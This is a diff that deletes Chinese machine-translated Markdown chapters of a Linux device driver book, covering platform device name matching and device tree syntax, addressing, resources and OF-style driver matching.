{.pn = 0x0801}, - [AB0803] = {.pn = 0x0803}, - [AB0804] = {.pn = 0x0804, .has_tc = true}, - [AB0805] = {.pn = 0x0805, .has_tc = true}, - [AB1801] = {.pn = 0x1801}, - [AB1803] = {.pn = 0x1803}, - [AB1804] = {.pn = 0x1804, .has_tc = true}, - [AB1805] = {.pn = 0x1805, .has_tc = true}, - [ABX80X] = {.pn = 0} -}; -``` - -4. 我们用一个特定的指数来定义我们的`platform_device_id`: - -```sh -static const struct i2c_device_id abx80x_id[] = { - { "abx80x", ABX80X }, - { "ab0801", AB0801 }, - { "ab0803", AB0803 }, - { "ab0804", AB0804 }, - { "ab0805", AB0805 }, - { "ab1801", AB1801 }, - { "ab1803", AB1803 }, - { "ab1804", AB1804 }, - { "ab1805", AB1805 }, - { "rv1805", AB1805 }, - { } -}; -``` - -5. 这里我们只需要做`probe`函数中的事情: - -```sh -static int rs5c372_probe(struct i2c_client *client, -const struct i2c_device_id *id) -{ - [...] - - /* We pick the index corresponding to our device */ -int index = id->driver_data; - - /* - * And then, we can access the per device data - * since it is stored in abx80x_caps[index] - */ -} -``` - -# 名称匹配-平台设备名称匹配 - -大多数平台驱动根本不提供任何表格;他们只需在驱动的名称字段中填写驱动本身的名称。但是匹配是有效的,因为如果你看一下`platform_match`函数,你会看到在最后匹配会回到名称匹配,比较驱动的名称和设备的名称。一些较老的驱动仍然使用这种匹配机制。以下是`sound/soc/fsl/imx-ssi.c`的名称匹配: - -```sh -static struct platform_driver imx_ssi_driver = { - .probe = imx_ssi_probe, - .remove = imx_ssi_remove, - - /* As you can see here, only the 'name' field is filled */ - .driver = { - .name = "imx-ssi", - }, -}; - -module_platform_driver(imx_ssi_driver); -``` - -要添加与该驱动匹配的设备,必须在特定于板的文件中(通常在`arch//mach-*/board-*.c`中)调用名称相同的`platform_device_register`或`platform_add_devices`。对于我们基于四核 i.MX6 的 UDOO,它是`arch/arm/mach-imx/mach-imx6q.c`。 - -# 摘要 - -内核伪平台总线对你来说已经没有秘密了。通过总线匹配机制,您可以了解驱动是如何、何时、为什么被加载的,以及它是针对哪个设备的。我们可以实现任何`probe`功能,基于我们想要的匹配机制。由于驱动的主要目的是处理设备,因此我们现在能够在系统中填充设备(旧的折旧方式)。最后,下一章将专门讨论设备树,这是一种用于在系统上填充设备及其配置的新机制。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/06.md b/docs/linux-device-driver-dev/06.md deleted file mode 100644 index da632e67..00000000 --- a/docs/linux-device-driver-dev/06.md +++ /dev/null @@ -1,961 +0,0 @@ -# 六、设备树的概念 - -**设备树** ( **DT** )是一个易读的硬件描述文件,具有类似 JSON 的格式化风格,这是一个简单的树结构,其中设备由带有属性的节点来表示。属性可以是空的(仅描述布尔值的键),也可以是键值对,其中值可以包含任意字节流。本章是对 DT 的简单介绍。每个内核子系统或框架都有自己的 DT 绑定。我们将在处理相关主题时讨论这些特定的绑定。DT 起源于 OF,这是一个由计算机公司认可的标准,其主要目的是为计算机固件系统定义接口。也就是说,你可以在[http://www.devicetree.org/](http://www.devicetree.org/)找到更多关于 DT 规格的信息。因此,本章将涵盖 DT 的基础知识,例如: - -* 命名约定,以及别名和标签 -* 描述数据类型及其应用编程接口 -* 管理寻址方案和访问设备资源 -* 实现匹配样式并提供特定于应用的数据 - -# 设备树机制 - -通过将选项`CONFIG_OF`设置为`Y`,在内核中启用 DT。为了从您的驱动中提取 DT 应用编程接口,您必须添加以下头: - -```sh -#include -#include -``` - -DT 支持几种数据类型。让我们用一个示例节点描述来看看它们: - -```sh -/* This is a comment */ -// This is another comment -node_label: nodename@reg{ - string-property = "a string"; - string-list = "red fish", "blue fish"; - one-int-property = <197>; /* One cell in this property */ - int-list-property = <0xbeef 123 0xabcd4>; /*each number (cell) is a - *32 bit integer(uint32). - *There are 3 cells in - */this property - - mixed-list-property = "a string", <0xadbcd45>, <35>, [0x01 0x23 0x45] - byte-array-property = [0x01 0x23 0x45 0x67]; - boolean-property; -}; -``` - -以下是设备树中使用的数据类型的一些定义: - -* 文本字符串用双引号表示。可以使用逗号来创建字符串列表。 -* 单元格是由尖括号分隔的 32 位无符号整数。 -* 布尔数据只是一个空属性。真值或假值取决于属性是否存在。 - -# 命名约定 - -每个节点都必须有一个形式为`[@
]`的名称,其中``是一个长度可达 31 个字符的字符串,`[@
]`是可选的,这取决于该节点是否代表可寻址设备。`
`应该是用来访问设备的主地址。设备命名示例如下: - -```sh -expander@20 { - compatible = "microchip,mcp23017"; - reg = <20>; - [...] -}; -``` - -或者 - -```sh -i2c@021a0000 { - compatible = "fsl,imx6q-i2c", "fsl,imx21-i2c"; - reg = <0x021a0000 0x4000>; - [...] -}; -``` - -另一方面,`label`是可选的。仅当节点旨在从另一个节点的属性引用时,标记该节点才有用。正如下一节所解释的那样,可以将标签视为指向节点的指针。 - -# 别名、标签和显形 - -理解这三个要素是如何工作的非常重要。它们经常在 DT 中使用。让我们用下面的 DT 来解释它们是如何工作的: - -```sh -aliases { - ethernet0 = &fec; - gpio0 = &gpio1; - gpio1 = &gpio2; - mmc0 = &usdhc1; - [...] -}; -gpio1: gpio@0209c000 { - compatible = "fsl,imx6q-gpio", "fsl,imx35-gpio"; - [...] -}; -node_label: nodename@reg { - [...]; - gpios = <&gpio1 7 GPIO_ACTIVE_HIGH>; -}; -``` - -标签只不过是标记节点的一种方式,通过唯一的名称来标识节点。在现实世界中,该名称由 DT 编译器转换为唯一的 32 位值。在上例中,`gpio1`和`node_label`都是标签。标签可以用来引用一个节点,因为标签对于一个节点是唯一的。 - -一个**指针句柄** ( **指针**)是一个与节点相关联的 32 位值,用于唯一标识该节点,以便该节点可以从另一个节点的属性中引用。标签用于指向节点的指针。使用`<&mylabel>`,指向标签为`mylabel`的节点。 - -The use of `&` is just like in the C programming language; to obtain the address of an element. - -在前面的例子中,`&gpio1`被转换为 phandle,因此它引用了`gpio1`节点。以下示例也是如此: - -```sh -thename@address { - property = <&mylabel>; -}; - -mylabel: thename@adresss { - [...] -} -``` - -为了不遍历整棵树寻找节点,引入了别名的概念。在 DT 中,`aliases`节点就像一个快速查找表,是另一个节点的索引。可以使用函数`find_node_by_alias()`找到一个给定别名的节点。别名不直接在 DT 源中使用,而是由 Linux 内核来区分。 - -# DT 编译器 - -DT 有两种形式:文本形式和二进制 blob 形式,前者表示源,也称为`DTS`,后者表示编译后的 DT,也称为`DTB`。源文件有`.dts`扩展名。实际上,还有`.dtsi`文本文件,代表 SoC 级别定义,而`.dts`文件代表板级定义。可以把`.dtsi`看做头文件,那应该包含在`.dts`一个里面,是源文件,而不是反过来,有点像在源文件(`.c`)里面包含头文件(`.h`)。另一方面,二进制文件使用`.dtb`扩展名。 - -实际上还有第三种形式,即`/proc/device-tree`中 DT 的运行时表示。 - -顾名思义,用来编译设备树的工具叫做**设备树编译器** ( **dtc** )。从根内核源代码中,可以为特定的体系结构编译独立的特定 DT 或所有的 DTs。 - -让我们为 arm SoC 编译所有 DT ( `.dts)`文件: - -```sh -ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make dtbs -``` - -对于独立台式机: - -```sh -ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make imx6dl-sabrelite.dtb -``` - -在前面的例子中,源文件的名称是`imx6dl-sabrelite.dts`。 - -给定一个编译好的设备树`(.dtb`)文件,可以做相反的操作,提取源`(.dts`)文件: - -```sh -dtc -I dtb -O dtsarch/arm/boot/dts imx6dl-sabrelite.dtb >path/to/my_devicetree.dts -``` - -For the purpose of debugging, it could be useful to expose the DT to the user space. The `CONFIG_PROC_DEVICETREE` configuration variable will do that for you. You can then explore and walk through the DT in `/proc/device-tree`. - -# 表示和寻址设备 - -每个设备在 DT 中至少有一个节点。有些属性是许多设备类型共有的,尤其是位于内核已知的总线上的设备(SPI、I2C、平台、MDIO 等)。这些属性是`reg`、`#address-cells`和`#size-cells`。这些属性的目的是在它们所在的总线上进行设备寻址。也就是说,主要寻址属性是`reg`,这是一个通用属性,其含义取决于设备所在的总线。前缀`size-cell`、`address-cell`的`#`(锐)可以翻译成`length`。 - -每个可寻址设备获得一个`reg`属性,该属性是一个以`reg = `形式表示的元组列表,其中每个元组代表该设备使用的地址范围。`#size-cells`表示有多少 32 位单元用于表示大小,如果大小不相关,则可以是 0。另一方面,`#address-cells`表示有多少 32 位单元用于表示地址。换句话说,每个元组的地址元素根据`#address-cell`解释;尺寸元素也是如此,根据`#size-cell`解释。 - -实际上,可寻址设备从其父节点的`#size-cell`和`#address-cell`继承,父节点是代表总线控制器的节点。给定设备中存在的`#size-cell`和`#address-cell`不会影响设备本身,但会影响其子设备。换句话说,在解释给定节点的`reg`属性之前,必须知道父节点的`#address-cells`和`#size-cells`值。父节点可以自由定义任何适合设备子节点(子节点)的寻址方案。 - -# SPI 和 I2C 寻址 - -SPI 和 I2C 设备都属于非内存映射设备,因为 CPU 无法访问它们的地址。相反,父设备的驱动(总线控制器驱动)将代表中央处理器执行间接访问。每个 I2C/SPI 设备始终表示为该设备所在的 I2C/SPI 总线节点的一个子节点。对于非内存映射设备,`#size-cells`属性为 0,寻址元组时的大小元素为空。这意味着这种设备的`reg`属性始终在单元格上: - -```sh -&i2c3 { - [...] - status = "okay"; - - temperature-sensor@49 { - compatible = "national,lm73"; - reg = <0x49>; - }; - - pcf8523: rtc@68 { - compatible = "nxp,pcf8523"; - reg = <0x68>; - }; -}; - -&ecspi1 { -fsl,spi-num-chipselects = <3>; -cs-gpios = <&gpio5 17 0>, <&gpio5 17 0>, <&gpio5 17 0>; -status = "okay"; -[...] - -ad7606r8_0: ad7606r8@1 { - compatible = "ad7606-8"; - reg = <1>; - spi-max-frequency = <1000000>; - interrupt-parent = <&gpio4>; - interrupts = <30 0x0>; - convst-gpio = <&gpio6 18 0>; -}; -}; -``` - -如果查看`arch/arm/boot/dts/imx6qdl.dtsi`处的 SoC 级别文件,会注意到在`i2c`和`spi`节点中,前者的`#size-cells`和`#address-cells`分别被设置为`0`,后者的`1`,这两个节点分别是前一节中列举的 I2C 和 SPI 设备的父节点。这有助于我们理解它们的`reg`属性,地址值只有一个单元格,大小值没有单元格。 - -I2C 设备的`reg`属性用于指定设备在总线上的地址。对于 SPI 设备,`reg`表示控制器节点拥有的芯片选择列表中分配给该设备的芯片选择线的索引。例如,对于 ad7606r8 ADC,片选索引为`1`,对应于`cs-gpios`中的`<&gpio5 17 0>`,这是控制器节点的片选列表。 - -你可能会问我为什么使用 I2C/SPI 节点的 phandle:答案是因为 I2C/SPI 设备应该在板级文件(`.dts`)中声明,而 I2C/SPI 总线控制器应该在 SoC 级文件(`.dtsi`)中声明。 - -# 平台设备寻址 - -本节介绍内存可由中央处理器访问的简单内存映射设备。在这里,`reg`属性仍然定义了设备的地址,这是一个可以访问设备的内存区域列表。每个区域用一组单元表示,其中第一个单元是存储区域的基址,第二个单元是区域的大小。然后它有了形式`reg = `。每个元组代表设备使用的地址范围。 - -在现实世界中,如果不知道另外两个属性`#size-cells`和`#address-cells`的值,就不应该解释`reg`属性。`#size-cells`告诉我们每个子`reg`元组中的长度字段有多大。`#address-cell`也是如此,它告诉我们指定一个地址必须使用多少个单元格。 - -这种设备应该在具有特殊值`compatible = "simple-bus"`的节点中声明,这意味着没有特定处理或驱动的简单内存映射总线: - -```sh -soc { - #address-cells = <1>; - #size-cells = <1>; - compatible = "simple-bus"; - aips-bus@02000000 { /* AIPS1 */ - compatible = "fsl,aips-bus", "simple-bus"; - #address-cells = <1>; - #size-cells = <1>; - reg = <0x02000000 0x100000>; - [...]; - - spba-bus@02000000 { - compatible = "fsl,spba-bus", "simple-bus"; - #address-cells = <1>; - #size-cells = <1>; - reg = <0x02000000 0x40000>; - [...] - - ecspi1: ecspi@02008000 { - #address-cells = <1>; - #size-cells = <0>; - compatible = "fsl,imx6q-ecspi", "fsl,imx51-ecspi"; - reg = <0x02008000 0x4000>; - [...] - }; - - i2c1: i2c@021a0000 { - #address-cells = <1>; - #size-cells = <0>; - compatible = "fsl,imx6q-i2c", "fsl,imx21-i2c"; - reg = <0x021a0000 0x4000>; - [...] - }; - }; - }; -``` - -在前面的例子中,父节点在兼容属性中有`simple-bus`的子节点将被注册为平台设备。还可以看到 I2C 和 SPI 总线控制器如何通过设置`#size-cells = <0>;`来改变其子级的寻址方案,因为这与它们无关。在内核设备树的文档中有一个查找任何绑定信息的著名位置:*文档/设备树/绑定/* 。 - -# 处理资源 - -驱动的主要目的是处理和管理设备,并且在大多数情况下,向用户空间公开它们的功能。这里的目标是收集设备的配置参数,尤其是资源(内存区域、中断线路、DMA 通道、时钟等)。 - -以下是我们将在本节中使用的设备节点。它是 i.MX6 UART 设备的节点,在`arch/arm/boot/dts/imx6qdl.dtsi`中定义: - -```sh -uart1: serial@02020000 { - compatible = "fsl,imx6q-uart", "fsl,imx21-uart"; -reg = <0x02020000 0x4000>; - interrupts = <0 26 IRQ_TYPE_LEVEL_HIGH>; - clocks = <&clks IMX6QDL_CLK_UART_IPG>, -<&clks IMX6QDL_CLK_UART_SERIAL>; - clock-names = "ipg", "per"; -dmas = <&sdma 25 4 0>, <&sdma 26 4 0>; -dma-names = "rx", "tx"; - status = "disabled"; - }; -``` - -# 命名资源的概念 - -当驱动期望某一类型的资源列表时,不能保证列表是按照驱动期望的方式排序的,因为编写板级设备树的人通常不是编写驱动的人。例如,驱动可能期望其设备节点具有两条 IRQs 线,一条用于索引 0 处的发送事件,另一条用于索引 1 处的接收事件。如果不遵守秩序会怎么样?司机会有不必要的行为。为了避免这种不匹配,引入了命名资源(`clock`、`irq`、`dma`、`reg`)的概念。它包括定义我们的资源列表,并对它们进行命名,这样无论它们的索引是什么,给定的名称都将始终与资源匹配。 - -命名资源的相应属性如下: - -* `reg-names`:这是用于`reg`属性中的存储区域列表 -* `clock-names`:这是在`clocks`属性中命名时钟 -* `interrupt-names`:这给`interrupts`属性中的每个中断命名 -* `dma-names`:这是`dma`属性 - -现在让我们创建一个假的设备节点条目来解释这一点: - -```sh -fake_device { - compatible = "packt,fake-device"; - reg = <0x4a064000 0x800>, <0x4a064800 0x200>, <0x4a064c00 0x200>; - reg-names = "config", "ohci", "ehci"; - interrupts = <0 66 IRQ_TYPE_LEVEL_HIGH>, <0 67 IRQ_TYPE_LEVEL_HIGH>; - interrupt-names = "ohci", "ehci"; - clocks = <&clks IMX6QDL_CLK_UART_IPG>, <&clks IMX6QDL_CLK_UART_SERIAL>; - clock-names = "ipg", "per"; - dmas = <&sdma 25 4 0>, <&sdma 26 4 0>; - dma-names = "rx", "tx"; -}; -``` - -驱动中提取每个命名资源的代码如下: - -```sh -struct resource *res1, *res2; -res1 = platform_get_resource_byname(pdev, IORESOURCE_MEM, "ohci"); -res2 = platform_get_resource_byname(pdev, IORESOURCE_MEM, "config"); - -struct dma_chan *dma_chan_rx, *dma_chan_tx; -dma_chan_rx = dma_request_slave_channel(&pdev->dev, "rx"); -dma_chan_tx = dma_request_slave_channel(&pdev->dev, "tx"); - -inttxirq, rxirq; -txirq = platform_get_irq_byname(pdev, "ohci"); -rxirq = platform_get_irq_byname(pdev, "ehci"); - -structclk *clck_per, *clk_ipg; -clk_ipg = devm_clk_get(&pdev->dev, "ipg"); -clk_ipg = devm_clk_get(&pdev->dev, "pre"); -``` - -这样,您就可以将正确的名称映射到正确的资源,而不再需要使用索引。 - -# 访问寄存器 - -在这里,驱动将获得内存区域的所有权,并将其映射到虚拟地址空间。我们将在[第 11 章](http://post)、*内核内存管理*中对此进行更多讨论。 - -```sh -struct resource *res; -void __iomem *base; - -res = platform_get_resource(pdev, IORESOURCE_MEM, 0); -/* - * Here one can request and map the memory region - * using request_mem_region(res->start, resource_size(res), pdev->name) - * and ioremap(iores->start, resource_size(iores) - * - * These function are discussed in chapter 11, Kernel Memory Management. - */ -base = devm_ioremap_resource(&pdev->dev, res); -if (IS_ERR(base)) - return PTR_ERR(base); -``` - -`platform_get_resource()`将根据第一个(索引 0) `reg`赋值中的内存区域设置`struct res`的开始和结束字段。请记住`platform_get_resource()`的最后一个参数代表资源索引。在前面的示例中,`0`为该资源类型的第一个值编制索引,以防设备在 DT 节点中被分配多个内存区域。在我们的示例中,它是`reg = <0x02020000 0x4000>`,这意味着分配的区域从物理地址`0x02020000`开始,大小为`0x4000`字节。`platform_get_resource()`将设置`res.start = 0x02020000`和`res.end = 0x02023fff`。 - -# 处理中断 - -中断接口实际上分为两部分;消费者侧和控制器侧。DT 中有四个属性用于描述中断连接: - -控制器是向消费者展示 IRQ 线路的设备。在控制器端,上具有以下属性: - -* `interrupt-controller`:一个空的(布尔)属性,为了将设备标记为中断控制器,应该定义这个属性 -* `#interrupt-cells`:这是中断控制器的一个属性。它说明了有多少个单元用于指定该中断控制器的中断 - -消费者是产生 IRQ 的设备。使用者绑定需要以下属性: - -* `interrupt-parent`:对于产生中断的设备节点,它是一个属性,包含一个指向设备所连接的中断控制器节点的指针`phandle`。如果省略,设备将从其父节点继承该属性。 -* `interrupts`:是中断说明符。 - -中断绑定和中断说明符绑定到中断控制器设备。用于定义中断输入的单元数量取决于中断控制器,它是唯一一个通过其`#interrupt-cells`属性来决定的控制器。在 i.MX6 的情况下,中断控制器是**全局中断控制器** ( **GIC** )。其绑定在*文档/设备树/绑定/arm/gic.txt* 中有很好的解释。 - -# 中断处理程序 - -这包括从 DT 中获取 IRQ 号,并将其映射到 Linux IRQ 中,从而为其注册一个函数回调。实现这一点的驱动代码非常简单: - -```sh -int irq = platform_get_irq(pdev, 0); -ret = request_irq(irq, imx_rxint, 0, dev_name(&pdev->dev), sport); -``` - -`platform_get_irq()`呼叫将返回`irq`号码;这个号码可以被`devm_request_irq()`使用(然后`irq`可以在`/proc/interrupts`看到)。第二个参数`0`表示我们需要设备节点中指定的第一个中断。如果有多个中断,我们可以根据我们需要的中断来改变这个索引,或者只使用指定的资源。 - -在前面的示例中,设备节点包含一个中断说明符,如下所示: - -```sh -interrupts = <0 66 IRQ_TYPE_LEVEL_HIGH>; -``` - -* 根据 ARM GIC 的说法,第一个单元通知我们中断类型: - * `0` **:共享外设中断** ( **SPI** ),用于内核间共享的中断信号,可由 GIC 路由至任意内核 - * `1` : **专用外设中断** ( **PPI** ),用于单个内核专用的中断信号 - -文件可在 http://infocenter.arm.com/help/index.jsp?找到 topic =/com . arm . doc . DD 0407 e/cchdebe . html。 - -* 第二个单元保存中断号。这个数字取决于中断线路是 PPI 还是 SPI。 -* 在我们的例子中,第三个单元`IRQ_TYPE_LEVEL_HIGH`代表感觉水平。所有可用的感应等级都在`include/linux/irq.h`中定义。 - -# 中断控制器代码 - -`interrupt-controller`属性用于将设备声明为中断控制器。`#interrupt-cells`属性定义了定义一条中断线路必须使用多少个单元。我们将在[第 16 章](http://advanced)、*高级 IRQ* *管理*中对此进行详细讨论。 - -# 提取特定于应用的数据 - -特定于应用的数据是公共属性之外的数据(既不是资源,也不是 GPIOs、调节器等)。这些是可以分配给设备的任意属性和子节点。此类属性名称通常以制造代码为前缀。这些值可以是任何字符串、布尔值或整数值,以及它们在 Linux 源代码的`drivers/of/base.c`中定义的应用编程接口。下面我们讨论的例子并不详尽。现在让我们重用本章前面定义的节点: - -```sh -node_label: nodename@reg{ - string-property = ""a string""; - string-list = ""red fish"", ""blue fish""; - one-int-property = <197>; /* One cell in this property */ - int-list-property = <0xbeef 123 0xabcd4>;/* each number (cell) is 32 a * bit integer(uint32). There - * are 3 cells in this property - */ - mixed-list-property = "a string", <0xadbcd45>, <35>, [0x01 0x23 0x45] - byte-array-property = [0x01 0x23 0x45 0x67]; - one-cell-property = <197>; - boolean-property; -}; -``` - -# 文本字符串 - -以下是一个`string`属性: - -```sh -string-property = "a string"; -``` - -回到驱动中,应该使用`of_property_read_string()`来读取字符串值。其原型定义如下: - -```sh -int of_property_read_string(const struct device_node *np, const - char *propname, const char **out_string) -``` - -下面的代码展示了如何使用它: - -```sh -const char *my_string = NULL; -of_property_read_string(pdev->dev.of_node, "string-property", &my_string); -``` - -# 单元格和无符号 32 位整数 - -以下是我们的`int`属性: - -```sh -one-int-property = <197>; -int-list-property = <1350000 0x54dae47 1250000 1200000>; -``` - -应该使用`of_property_read_u32()`来读取单元格值。其原型定义如下: - -```sh -int of_property_read_u32_index(const struct device_node *np, - const char *propname, u32 index, u32 *out_value) -``` - -回到驾驶位, - -```sh -unsigned int number; -of_property_read_u32(pdev->dev.of_node, "one-cell-property", &number); -``` - -可以使用`of_property_read_u32_array`读取单元格列表。其原型如下: - -```sh -int of_property_read_u32_array(const struct device_node *np, - const char *propname, u32 *out_values, size_tsz); -``` - -这里,`sz`是要读取的数组元素的个数。来看看`drivers/of/base.c`看看如何解读它的返回值: - -```sh -unsigned int cells_array[4]; -if (of_property_read_u32_array(pdev->dev.of_node, "int-list-property", -cells_array, 4)) { - dev_err(&pdev->dev, "list of cells not specified\n"); - return -EINVAL; -} -``` - -# 布尔代数学体系的 - -应该使用`of_property_read_bool()`来读取布尔属性,该属性的名称在函数的第二个参数中给出: - -```sh -bool my_bool = of_property_read_bool(pdev->dev.of_node, "boolean-property"); -If(my_bool){ - /* boolean is true */ -} else - /* Bolean is false */ -} -``` - -# 提取和解析子节点 - -您可以在设备节点中添加任何子节点。给定一个表示闪存设备的节点,分区可以表示为子节点。对于处理一组输入和输出 GPIO 的设备,每组都可以表示为一个子节点。示例节点如下: - -```sh -eeprom: ee24lc512@55 { - compatible = "microchip,24xx512"; -reg = <0x55>; - - partition1 { - read-only; - part-name = "private"; - offset = <0>; - size = <1024>; - }; - - partition2 { - part-name = "data"; - offset = <1024>; - size = <64512>; - }; - }; -``` - -可以使用`for_each_child_of_node()`遍历给定节点的子节点: - -```sh -struct device_node *np = pdev->dev.of_node; -struct device_node *sub_np; -for_each_child_of_node(np, sub_np) { - /* sub_np will point successively to each sub-node */ - [...] -int size; - of_property_read_u32(client->dev.of_node, -"size", &size); - ... - } -``` - -# 平台驱动和 DT - -平台驱动也与 DT 一起工作。也就是说,这是当今处理平台设备的推荐方法,不再需要接触板文件,甚至在设备属性发生变化时重新编译内核。如果你还记得,在上一章中我们讨论了匹配风格,这是一种基于 DT 的匹配机制。让我们在下一节中看看它是如何工作的: - -# 比赛风格的 - -OF match style 是平台核心执行的第一个匹配机制,目的是将设备与其驱动相匹配。它使用设备树的`compatible`属性来匹配`of_match_table`中的设备条目,这是`struct driver`子结构的一个字段。每个设备节点都有一个`compatible`属性,它是一个字符串或字符串列表。任何声明在`compatible`属性中列出的字符串之一的平台驱动都将触发匹配,并将看到其`probe`函数被执行。 - -DT 匹配条目在内核中被描述为`struct of_device_id`结构的一个实例,它在`linux/mod_devicetable.h`中定义,看起来像: - -```sh -// we are only interested in the two last elements of the structure -struct of_device_id { - [...] - char compatible[128]; - const void *data; -}; -``` - -以下是结构中每个柠檬的含义: - -* `char compatible[128]`:这是用于匹配 DT 中设备节点兼容属性的字符串。在匹配发生之前,它们必须是相同的。 -* `const void *data`:可以指向任何结构,可以作为每设备类型的配置数据。 - -由于`of_match_table`是一个指针,您可以传递一个`struct of_device_id`数组,使您的驱动与多个设备兼容: - -```sh -static const struct of_device_id imx_uart_dt_ids[] = { - { .compatible = "fsl,imx6q-uart", }, - { .compatible = "fsl,imx1-uart", }, - { .compatible = "fsl,imx21-uart", }, - { /* sentinel */ } -}; -``` - -一旦你填充了你的 id 数组,它必须被传递到你的平台驱动的`of_match_table`字段,在驱动子结构中: - -```sh -static struct platform_driver serial_imx_driver = { - [...] - .driver = { - .name = "imx-uart", - .of_match_table = imx_uart_dt_ids, - [...] - }, -}; -``` - -这一步,只有你的司机知道你的`of_device_id`阵。为了让内核也知道(以便它可以将您的 id 存储在平台内核维护的设备列表中),您的阵列必须向`MODULE_DEVICE_TABLE`注册,如[第 5 章](05.html#4B7I40-dbde2ca892a6480b9727afb6a9c9e924)、*平台设备驱动:*所述 - -```sh -MODULE_DEVICE_TABLE(of, imx_uart_dt_ids); -``` - -仅此而已!我们的驱动是 DT 兼容的。回到我们的 DT,让我们声明一个与我们的驱动兼容的设备: - -```sh -uart1: serial@02020000 { - compatible = "fsl,imx6q-uart", "fsl,imx21-uart"; - reg = <0x02020000 0x4000>; - interrupts = <0 26 IRQ_TYPE_LEVEL_HIGH>; - [...] -}; -``` - -这里提供了两个兼容的字符串。如果第一个不匹配任何驱动,内核将执行与第二个的匹配。 - -当匹配发生时,您的驱动的`probe`功能被调用,以`struct platform_device`结构作为参数,它包含一个`struct device dev`字段,其中有一个字段`struct device_node *of_node`对应于与我们的设备相关联的节点,这样人们可以使用它来提取设备设置: - -```sh -static int serial_imx_probe(struct platform_device *pdev) -{ - [...] -struct device_node *np; -np = pdev->dev.of_node; - - if (of_get_property(np, "fsl,dte-mode", NULL)) - sport->dte_mode = 1; - [...] - } -``` - -可以检查 DT 节点是否被设置为知道驱动是响应于`of_match`而被加载的,还是从板的`init`文件中被实例化的。然后,您应该使用`of_match_device`功能来选择发起匹配的`struct *of_device_id`条目,该条目可能包含您已经传递的特定数据: - -```sh -static int my_probe(struct platform_device *pdev) -{ -struct device_node *np = pdev->dev.of_node; -const struct of_device_id *match; - - match = of_match_device(imx_uart_dt_ids, &pdev->dev); - if (match) { - /* Devicetree, extract the data */ - my_data = match->data - } else { - /* Board init file */ - my_data = dev_get_platdata(&pdev->dev); - } - [...] -} -``` - -# 处理非设备树平台 - -通过`CONFIG_OF`选项在内核中启用 DT 支持。当内核中不支持 DT API 时,人们可能希望避免使用它。可以实现的方法是检查`CONFIG_OF`是否设置。人们过去做的事情如下: - -```sh -#ifdef CONFIG_OF - static const struct of_device_id imx_uart_dt_ids[] = { - { .compatible = "fsl,imx6q-uart", }, - { .compatible = "fsl,imx1-uart", }, - { .compatible = "fsl,imx21-uart", }, - { /* sentinel */ } - }; - - /* other devicetree dependent code */ - [...] -#endif -``` - -即使在缺少设备树支持时总是定义`of_device_id`数据类型,在构建过程中也会省略包装到`#ifdef CONFIG_OF ... #endif`中的代码。这用于条件编译。这不是你唯一的选择;还有`of_match_ptr`宏,它只是在`OF`禁用时返回`NULL`。无论你在哪里需要传递你的`of_match_table`作为参数,它都应该被包装在`of_match_ptr`宏中,这样当`OF`被禁用时,它就会返回`NULL`。宏在`include/linux/of.h`中定义: - -```sh -#define of_match_ptr(_ptr) (_ptr) /* When CONFIG_OF is enabled */ -#define of_match_ptr(_ptr) NULL /* When it is not */ -``` - -我们可以这样使用它: - -```sh -static int my_probe(struct platform_device *pdev) -{ - const struct of_device_id *match; - match = of_match_device(of_match_ptr(imx_uart_dt_ids), - &pdev->dev); - [...] -} -static struct platform_driver serial_imx_driver = { - [...] - .driver = { - .name = "imx-uart", - .of_match_table = of_match_ptr(imx_uart_dt_ids), - }, -}; -``` - -这消除了当`OF`被禁用时返回`NULL`的`#ifdef`。 - -# 支持每个设备特定数据的多个硬件 - -有时,一个驱动可以支持不同的硬件,每个都有特定的配置数据。这些数据可以是专用的功能表、特定的寄存器值或每个硬件独有的任何数据。以下示例描述了一种通用方法: - -让我们首先记住`struct of_device_id`是什么样子,在`include/linux/mod_devicetable.h`中。 - -```sh -/* - * Struct used for matching a device - */ -struct of_device_id { - [...] - char compatible[128]; -const void *data; -}; -``` - -我们感兴趣的领域是`const void *data`,所以我们可以使用它来传递每个特定设备的任何数据。 - -假设我们拥有三个不同的设备,每个设备都有特定的私有数据。`of_device_id.data`将包含指向特定参数的指针。这个例子的灵感来自`drivers/tty/serial/imx.c` *。* - -首先,我们声明私有结构: - -```sh -/* i.MX21 type uart runs on all i.mx except i.MX1 and i.MX6q */ -enum imx_uart_type { - IMX1_UART, - IMX21_UART, - IMX6Q_UART, -}; - -/* device type dependent stuff */ -struct imx_uart_data { - unsigned uts_reg; - enum imx_uart_type devtype; -}; -``` - -然后,我们用每个设备特定的数据填充一个数组: - -```sh -static struct imx_uart_data imx_uart_devdata[] = { - [IMX1_UART] = { - .uts_reg = IMX1_UTS, - .devtype = IMX1_UART, - }, - [IMX21_UART] = { - .uts_reg = IMX21_UTS, - .devtype = IMX21_UART, - }, - [IMX6Q_UART] = { - .uts_reg = IMX21_UTS, - .devtype = IMX6Q_UART, - }, -}; -``` - -每个兼容条目都与特定的数组索引相关联: - -```sh -static const struct of_device_idimx_uart_dt_ids[] = { - { .compatible = "fsl,imx6q-uart", .data = &imx_uart_devdata[IMX6Q_UART], }, - { .compatible = "fsl,imx1-uart", .data = &imx_uart_devdata[IMX1_UART], }, - { .compatible = "fsl,imx21-uart", .data = &imx_uart_devdata[IMX21_UART], }, - { /* sentinel */ } -}; -MODULE_DEVICE_TABLE(of, imx_uart_dt_ids); - -static struct platform_driver serial_imx_driver = { - [...] - .driver = { - .name = "imx-uart", - .of_match_table = of_match_ptr(imx_uart_dt_ids), - }, -}; -``` - -现在在`probe`函数中,无论匹配条目是什么,它都将保存一个指向设备特定结构的指针: - -```sh -static int imx_probe_dt(struct platform_device *pdev) -{ - struct device_node *np = pdev->dev.of_node; - const struct of_device_id *of_id = - of_match_device(of_match_ptr(imx_uart_dt_ids), &pdev->dev); - - if (!of_id) - /* no device tree device */ - return 1; - [...] - sport->devdata = of_id->data; /* Get private data back */ -} -``` - -在前面的代码中,`devdata`是原始源代码中某个结构的元素,声明方式类似`const struct imx_uart_data *devdata`;我们可以在数组中存储任何特定的参数。 - -# 搭配风格混合 - -OF match 样式可以与任何其他匹配机制相结合。在以下示例中,我们混合了 DT 和设备 ID 匹配样式: - -我们为设备标识匹配样式填充一个数组,每个设备都有自己的数据: - -```sh -static const struct platform_device_id sdma_devtypes[] = { - { - .name = "imx51-sdma", - .driver_data = (unsigned long)&sdma_imx51, - }, { - .name = "imx53-sdma", - .driver_data = (unsigned long)&sdma_imx53, - }, { - .name = "imx6q-sdma", - 